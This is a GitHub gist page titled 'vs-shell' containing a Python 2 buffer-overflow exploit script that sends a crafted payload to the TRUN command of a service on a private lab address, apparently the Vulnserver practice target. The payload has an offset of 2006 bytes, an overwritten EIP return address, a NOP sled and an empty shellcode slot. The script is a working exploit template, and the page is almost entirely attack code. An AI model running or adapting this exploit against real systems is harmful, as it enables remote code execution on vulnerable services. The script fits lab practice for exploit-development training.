Created
January 3, 2021 12:05
-
-
Save whichbuffer/06e46e7dd466af4d64bd5fdbb56d4dfa to your computer and use it in GitHub Desktop.
vs-shell
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python | |
import socket | |
server = '192.168.119.129' | |
sport = 9999 | |
prefix = 'A' * 2006 | |
eip = '\xaf\x11\x50\x62' | |
nopsled = '\x90' * 16 | |
exploit = ( | |
) | |
padding = 'F' * (3000 - 2006 - 4 - 16 - len(exploit)) | |
attack = prefix + eip + nopsled + exploit + padding | |
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | |
connect = s.connect((server, sport)) | |
print s.recv(1024) | |
print "Sending attack to TRUN . with length ", len(attack) | |
s.send(('TRUN .' + attack + '\r\n')) | |
print s.recv(1024) | |
s.send('EXIT\r\n') | |
print s.recv(1024) | |
s.close() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment